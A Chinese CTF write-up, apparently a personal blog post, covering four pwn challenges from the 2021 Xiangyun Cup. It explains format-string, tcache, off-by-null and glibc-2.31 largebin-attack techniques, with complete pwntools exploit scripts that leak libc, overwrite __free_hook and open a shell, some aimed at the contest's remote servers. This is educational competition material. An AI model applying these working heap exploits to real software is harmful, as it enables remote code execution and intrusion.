xiangyuncup
发表于:2021-09-03 |
字数统计: 2.5k | 阅读时长: 13分钟 | 阅读量:

祥云杯部分pwn (glibc-2.31下的largebin attack)

两周前打的一次比赛,一直想写wp记录一下比赛的过程,奈何杂事太多,自己也静不下心来,因此一直拖到了现在。

note

格式化字符串漏洞,漏洞点如下:

image-20210903191722945

其中scanf和printf相似,所不同的是scanf中的%s可以直接写向栈上的指针指向的内存区域,因此我们就可以进行任意地址写操作。又再栈中发现_IO_2_1_stdoutd的地址,所以我们直接打stdout泄露libc_base,再利用栈中保存的栈上的地址,我们直接写入system函数地址。

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *
io = process('./note',env={'LD_PRELOAD':'./libc-2.23.so'})
#io = remote('47.104.70.90',25315)
libc = ELF('./libc-2.23.so')
context.log_level = 'debug'

def add(size,context):
io.sendlineafter('choice: ','1')
io.sendlineafter('size: ',str(size))
io.sendafter('content: ',context)

def say(say,context):
io.sendlineafter('choice: ','2')
io.sendlineafter('say ? ',say)
io.sendafter('? ',context)

def show():
io.sendlineafter('choice: ','3')

def exp():
gdb.attach(io)
say('%7$s',p64(0xfbad1887)+p64(0)*3+' ')
raw_input()
io.sendline('3')
io.recv(0x80)
stdin=u64(io.recvuntil('\x7f',timeout=1)[-6:].ljust(8,'\x00'))
libc_base = stdin - libc.symbols['_IO_2_1_stdin_']
print('libc_base',hex(libc_base))
system = libc_base + libc.symbols['system']
pop_rdi = libc_base + 0x0000000000021112
binsh = libc_base + libc.search('/bin/sh').next()

say('%17$s','a'*8+p64(pop_rdi)+p64(binsh)+p64(system)+' ')
raw_input()
#gdb.attach(io)
io.sendline('1')
io.interactive()
exp()

lemon_pwn

输入一串数字,如果满足要求,可以将flag写入栈中。因为没有设置种子,所以rand()是伪随机数。

image-20210903195246777

利用如下脚本获得v1

1
2
3
4
5
6
7
for buf in range(0xa7778200000,0x100000000000):
v1 = (buf>>32) ^ (buf&0xffffffff) | (3 * (buf&0xffffffff) - (buf>>32)) & ((buf&0xffffffff) // (buf>>32))
print(hex(v1))
if v1 == 0x783D9E5F:
print(hex(buf))
break
print('end')

进入主逻辑,发现有沙箱,禁用了execve函数,因此我们使用open,read,write输出flag

image-20210903195652440

在color操作中发现可以对指针更改并且可以写,但只能使用一次,我们利用这次机会来控制tcache_struct。

image-20210903200715050

控制tcache_struct后就是堆风水的问题了,我们连续打3次stdout,第一次获得libc_base,第二次利用libc中的environ得到stack_addr,最后一次直接泄露flag。本题能连续打三次stdout包含着很大的运气成分。

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
from pwn import *
io = process(['./ld-2.26.so','./lemon_pwn'],env={'LD_PRELOAD':'./libc-2.26.so'})

libc = ELF('./libc-2.26.so')
#context.log_level = 'debug'

def add(index,name,length,context):
io.sendlineafter('choice >>> ','1')
io.sendlineafter('index of your lemon: \n',str(index))
io.sendafter('name your lemon: \n',name)
io.sendlineafter('length of message for you lemon: \n',str(length))
if length <= 1024:
io.sendafter('message: \n',context)

def eat(index):
io.sendlineafter('choice >>> ','2')
io.sendlineafter('index of your lemon : \n',str(index))

def throw(index):
io.sendlineafter('choice >>> ','3')
io.sendlineafter('index of your lemon : \n',str(index))

def color(index,context):
io.sendlineafter('choice >>> ','4')
io.sendlineafter('index of your lemon : \n',str(index))
io.sendafter('draw and color!\n',context)


def exp():
io.sendlineafter('me?\n','yes')
io.sendlineafter(' number: \n',p32(0x78348c28)+p8(0x77))
io.recvuntil('first: \n')
io.sendline('f1ag')

add(1,'flag\n',48,'aaaa\n')
add(2,'a\n',144,'a\n')
add(3,'a\n',96,'a\n')
add(0,'f1ag\n',32,'a')

eat(1)
io.recvuntil('eat eat eat ')
addr=int(io.recv(5))
print(hex(addr))
color(1,'b'*0x10+p32(0x40)+p32(1)+p16(addr-0x250))
throw(3)
throw(1)
add(1,'a\n',576,'\x00'*8+'\x07'+'\x00'*0x37)

throw(2)
throw(1)
#add(3,'a\n',16,'a\n')
add(1,'a\n',576,'\x00'*7+'\x07'+'\x00'*0x38+p64(0)*5+p16(addr+0xd0))
add(2,'a\n',96,'a\n')
throw(1)
add(1,'a\n',576,'\x00'*7+'\x00'+'\x00'*0x38+p64(0)*5+p16(0x86ed))
add(2,'a\n',96,'a'*0x33+p64(0xfbad1887)+p64(0)*3+'\x88')

stdin=u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
libc_base = stdin-libc.symbols['_IO_2_1_stdin_']
stdout = libc_base+libc.symbols['_IO_2_1_stdout_']

print(hex(libc_base))
environ = libc_base+libc.symbols['_environ']
throw(1)
add(1,'a\n',576,'\x00'*7+'\x00'+'\x00'*0x38+p64(0)*5+p64(stdout-0x33))
throw(0)
add(2,'a\n',104,'a'*0x33+p64(0xfbad1887)+p64(0)*3+p64(environ)+p64(environ+8))

stack=u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x180
print(hex(stack))
add(0,'b',48,'a\n')
throw(1)
add(1,'a\n',576,'\x00'*7+'\x00'+'\x00'*0x38+p64(0)*5+p64(stdout-0x33))
throw(0)
add(2,'a\n',104,'a'*0x33+p64(0xfbad1887)+p64(0)*3+p64(stack-4)+p64(stack+0x28))
#gdb.attach(io)
io.interactive()

i=0
while(i!=0x20):
try:
#io=process(['./ld-2.26.so','./lemon_pwn'],env={'LD_PRELOAD':'./libc-2.26.so'})
io = remote('47.104.70.90',34524)
exp()
i+=1
except:
io.close()
i+=1

pwdFree

常规的一道堆题,off-by-null,注意在写入数据时要和泄露出来的key异或。

image-20210903201559653

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
from pwn import *
#io = process('./pwdFree',env={'LD_PRELOAD':'./libc.so.6'})
io = remote('47.104.71.220' ,38562)
libc = ELF('./libc.so.6')
context.log_level = 'debug'

def add(name,length,context):
io.sendlineafter('Choice:\n','1')
io.sendlineafter('ID You Want Save:',name)
io.sendlineafter('Length Of Your Pwd:',str(length))
io.sendafter('Your Pwd:',context)

def edit(index,context):
io.sendlineafter('Choice:\n','2')
raw_input()
io.sendline(str(index))
raw_input()
io.send(context)

def show(index):
io.sendlineafter('Choice:\n','3')
io.sendlineafter('Check:\n',str(index))

def dele(index):
io.sendlineafter('Choice:\n','4')
io.sendlineafter(' Delete:\n',str(index))

def exp():
add('0',0xf8,'0\n')#0
io.recvuntil('Save ID:')
io.recv(8)
key=u64(io.recv(8))
print('key',hex(key))
add('1',0x38,'1\n')#1
add('2',0x38,'2\n')#2
add('3',0x38,'3\n')#3
add('4',0x38,'4\n')#4
add('5',0xf8,'5\n')#5
add('6',0xf8,'6\n')#6
add('7',0xf8,'7\n')#7
dele(6)
add('6',0xf8,'6'*0xf0+p64(0x400^key)+'\n')#6

for i in range(7):
add('8',0xf8,'8\n')#8~14
for i in range(7):
dele(14-i)

dele(0)
dele(7)#merge 0x500
for i in range(7):
add('0',0xf8,'0\n')#0,7,8~12

add('13',0xf8,'1\n')#13
show(1)
io.recvuntil('Pwd is: ')
malloc_hook=(u64(io.recv(8))^key)-96-16
libc_base=malloc_hook-libc.symbols['__malloc_hook']
print('libc_base',hex(libc_base))
free_hook=libc_base+libc.symbols['__free_hook']
system=libc_base+libc.symbols['system']

add('14',0x38,'14\n')#14
dele(14)
edit(1,p64((free_hook-8)))
add('14',0x38,'14\n')
add('15',0x38,(p64(0x68732f6e69622f^key))+p64((system)^key)+'\n')
#gdb.attach(io)
dele(15)
io.interactive()
exp()

pwdPro(glibc-2.31下的largebin attack)

这道题就很有意思了,我们先回顾一下libc-2.26以下的largebin attack的操作,由于largebin中是按照大小存放的,假设我们的largebin chunk的大小满足在其中的largebin chunk的大小之间,那么其插入操作就是将它自己的fd和bk指针分别指向两边chunk的位置,然后更小chunk的bk指针和更大chunk的fd指针指向插入其中间的chunk;fd_nextsize,bk_nextsize指针的操作和fd,bk相似。其代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
[...]

else
{
#victim为要插入的largrbin chunk,fwd为更小的largebin chunk
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;#这里代表着只能更改更小chunk的bk指针

[...]

mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;

因此我们改变更小chunk的bk和bk_nextsize指针,再插入一个更大的largebin chunk,就可以修改任意地址的值(但不能指定值)。

由于libc-2.30增加了两个新的保护,如下:

1
2
3
4
if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))
malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");
if (bck->fd != fwd)
malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");

绕过方法为:(p1)malloc(0x428);malloc(0x18);(p2)malloc(0x418);malloc(0x18);free(p1);malloc(0x438);free(p2);malloc(0x438);即可绕过,原因是如果插入的largebin chunk是最小的,那么便不会检查bk_nextsize。

因为程序只允许我们申请大于0x400的chunk,因此我们可以想到像修改global_max_fast一样的方法,在有tcache的加入后我们可以修改tcache_max_bin,是的我们释放的largebin chunk都可以放入tcache中。那么tcache_max_bin该如何寻找呢,如下图:

image-20210904111952666

0x40代表着index,index=size(malloc(size))/0x10 - 1,将其值改为一个较大的数即可

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from pwn import *
io = process('./pwdPro',env={'LD_PRELOAD':'./libc.so'})
#io = remote('47.104.71.220' ,49261)
libc = ELF('./libc.so')
context.log_level = 'debug'

def add(index,name,length,context):
io.sendlineafter('Choice:\n','1')
io.sendlineafter('You Want Add:\n',str(index))
io.sendlineafter('ID You Want Save:',name)
io.sendlineafter('Length Of Your Pwd:',str(length))
io.sendafter('Your Pwd:',context)

def edit(index,context):
io.sendlineafter('Choice:\n','2')
io.sendlineafter('You Want Edit:\n',str(index))
io.send(context)

def show(index):
io.sendlineafter('Choice:\n','3')
io.sendlineafter('You Want Check:\n',str(index))

def dele(index):
io.sendlineafter('Choice:\n','4')
io.sendlineafter(' Delete:\n',str(index))

def re(index):
io.sendlineafter('Choice:\n','5')
io.sendlineafter('Recover:\n',str(index))

def exp():
add(0,'0',0x448,'0\n')#0
io.recvuntil('Save ID:')
io.recv(8)
key=u64(io.recv(8))
print('key',hex(key))
add(1,'1',0x428,'1\n')#1
add(2,'2',0x438,'2\n')#2
add(3,'3',0x428,'3\n')#3
dele(0)
re(0)

show(0)
io.recvuntil('Pwd is: ')
malloc_hook=(u64(io.recv(8))^key)-96-16
print(hex(malloc_hook+96+16))
libc_base=malloc_hook-libc.symbols['__malloc_hook']
print('libc_base',hex(libc_base))
free_hook=libc_base+libc.symbols['__free_hook']
system=libc_base+libc.symbols['system']
addr = libc_base+0x1eb2d0
gdb.attach(io)
add(4,'4',0x458,'4\n')#4
show(0)
io.recvuntil('Pwd is: ')
io.recv(0x10)
heap_base=(u64(io.recv(8))^key)-0x280
print('heap_base',hex(heap_base))
dele(2)

edit(0,p64((malloc_hook+96+16+0x3f0))+p64((malloc_hook+96+16+0x3f0))+p64(heap_base+0x280)+p64((addr-0x20))+'\n')
add(5,'5',0x458,'5\n')#5
dele(5)
dele(4)
re(4)
edit(4,p64(free_hook-8)+'\n')
add(6,'6',0x458,'6\n')#6
add(7,'7',0x458,p64((0x68732f6e69622f)^key)+p64(system^key)+'\n')
dele(7)
#gdb.attach(io)
io.interactive()
exp()
上一篇:
ret2_reslove
下一篇:
CBCTFpwn